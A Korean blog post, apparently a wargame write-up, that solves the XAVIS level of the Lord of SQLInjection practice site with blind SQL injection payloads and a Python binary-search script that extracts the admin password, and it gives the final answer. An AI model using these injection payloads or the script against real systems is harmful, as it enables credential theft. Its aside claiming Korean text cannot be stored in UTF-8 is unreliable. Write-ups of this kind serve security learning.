상세 컨텐츠

본문 제목

[LOS] XAVIS 문제풀이

카테고리 없음

by about_SC 2019. 8. 5. 15:44

본문

[LOS] XAVIS 문제풀이

:

LOS 사이트가 리뉴얼 되면서,
새로운 문제들이 많이 생겨 다시 한번 풀어보게 되었다.
https://los.rubiya.kr

해당 문제는 이전에도 존재하던 문제지만,
이전 사이트에 있는 문제는 출제자의 의도와 다르게 글자가 깨져서
아스키 코드 확장영역 문자로 대체하여 간단하게 FLAG 값을 구할 수 있었다.
https://aboutsc.tistory.com/87

ex) ascii (128 ~ 255)

 

앞서 말하게된 잘못된점을 보완하여
이번 새로 리뉴얼된 사이트에 기재된거 같다.

-

1) PW LENGTH 를 구해보니, 12글자였다.

2) 평소와는 다르게 12문자여서, 한글자당 몇바이트인지 확인해보았다.
ex) &pw= ' or id='admin' and length(substr(pw,1,1))=4# (참)
한글자당 4바이트임을 확인했다.

+부가설명
흔히 쓰이는 영어와 숫자는 1byte로 표현이 가능하지만 한글은 2byte가 있어야 표현가능하다.
그래서, 영어를 사용하는 나라는 UTF-8로 표현이 가능하다. 하지만, 우리나라, 중국, 일본과 같은 문자를 사용하는 나라들은 최소 2byte가 필요하며 UTF-16이나 UTF-32를 사용해야 문자로 표현가능하다.

3) 2번 과정의 쿼리를 이용하여 몇글자인지 확인해보았다.
ex) &pw= ' or id='admin' and length(substr(pw,1,1))=4# (참)
ex) &pw= ' or id='admin' and length(substr(pw,3,1))=4# (참)
ex) &pw= ' or id='admin' and length(substr(pw,4,1))=4# (거짓)
이를 통해, 3글자임을 추측할 수 있었다.
(다른 케이스에서는 아닐 수도 있지만, 글자 확인 시 나머지 12글자 중 3글자를 제외한 나머지 글자가 널 값이었음)

4) pw 값을 획득하기 위해 시도 시 ascii 영역에 해당 문자 값이 존재하지 않는 것으로 보여, ord 함수를 이용해 pw 값을 구하려해보았다. 부등호를 이용하여 수작업으로 확인 결과, 첫번째 값이 50000 대역에 존재했다.
ex) &pw=' or id='admin' and ord(substr(pw,1,1))>50000 (참)
ex) &pw=' or id='admin' and ord(substr(pw,1,1))>60000 (거짓)

자!
4번 과정에서 확인한 대역을 참조하여 문제를 풀어보자.
기존에는 ascii 확장영역까지만 비교했다면(1~255)
지금부터는 0x00~0xffff(0~65536)까지 비교하여 pw 값을 구해보기로 하자.

단 시간에 너무 많은 패킷 발생 시 서버가 터지거나, 장애가 생길 수도 있어서
이진 탐색을 이용해서 pw 값을 효율적으로 구해보자.

testxavis.py
0.00MB

testxavis.py

    import requests


def CaseEqual(j,value):
    try:
        query = url + "1' or id='admin' and ord(substr(pw,"+str(j)+",1))="+str(value)+"%23"
        r = requests.post(query, cookies=session)

    except:
        print "[-]Error occur"

    if "Hello admin" in r.text:
        return True
    
    else:
        return False


def CaseBigger(j,value):
    try:
        query = url + "1' or id='admin' and ord(substr(pw,"+str(j)+",1))<"+str(value)+"%23"
        r = requests.post(query, cookies=session)

    except:
        print "[-]Error occur"

    if "Hello admin" in r.text:
        return True
    
    else:
        return False


def SearchPW(j,start,end):
    if start > end:
        return "None"

    mid = (start + end)/2

    if CaseEqual(j,mid):
        return hex(mid)
 
    elif CaseBigger(j,mid):
        end = mid - 1
        
    else:
        start = mid + 1

    return SearchPW(j,start,end)

flag = ""
length = 0
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="
session = dict(PHPSESSID="YOUR SESSION ID")

print "[+] ================================ Script Start"
print "[+] (1)Find password length"

for i in range(1, 21):
    try:
        query = url + "1' or id='admin' and length(pw)="+str(i)+"%23"
        r = requests.post(query, cookies=session)
        
    except:
        print "[-]Error occur"
        continue

    if "Hello admin" in r.text:
        length = i
        break

print "[+] (1)Find password length : ",length
print "[+] (2)Find password"

for j in range(1,length+1):
    flag += str(SearchPW(j,0,65535))[2:]
    print "[+] ING - Found("+str(j)+") password : ", flag 
	
print "[+] (2)Find password : ",flag
print "[+] ================================ Script End"


스크립트 실행 결과 16진수 형태의 pw 값을 확인할 수 있었다.
해당 pw는 3글자이고 나머지 값들은 널 값임을 확인할 수 있었다.

0xc6b0 0xc655 0xad73 (16진수 형태의 pw)
‭50864‬ ‭50773‬ ‭44403‬ (10진수 형태의 pw)

온라인 Converter를 이용하여 패스워드를 구해보려 했지만 이상한 값만 획득하기를 반복했고,
https://www.branah.com/unicode-converter

 

Unicode Converter - Decimal, text, URL, and unicode converter

Convert Unicode characters in UTF-16, UTF-8, and UTF-32 formats to their Unicode and decimal representations and vice versa. In addition, percent encode/decode URL parameters. The converter happens automatically.

www.branah.com

위의 사이트를 이용하여 10진수 형태의 pw를 Convert 해보니 한글 형태의 패스워드를 획득할 수 있었다.
pw = 우왕굳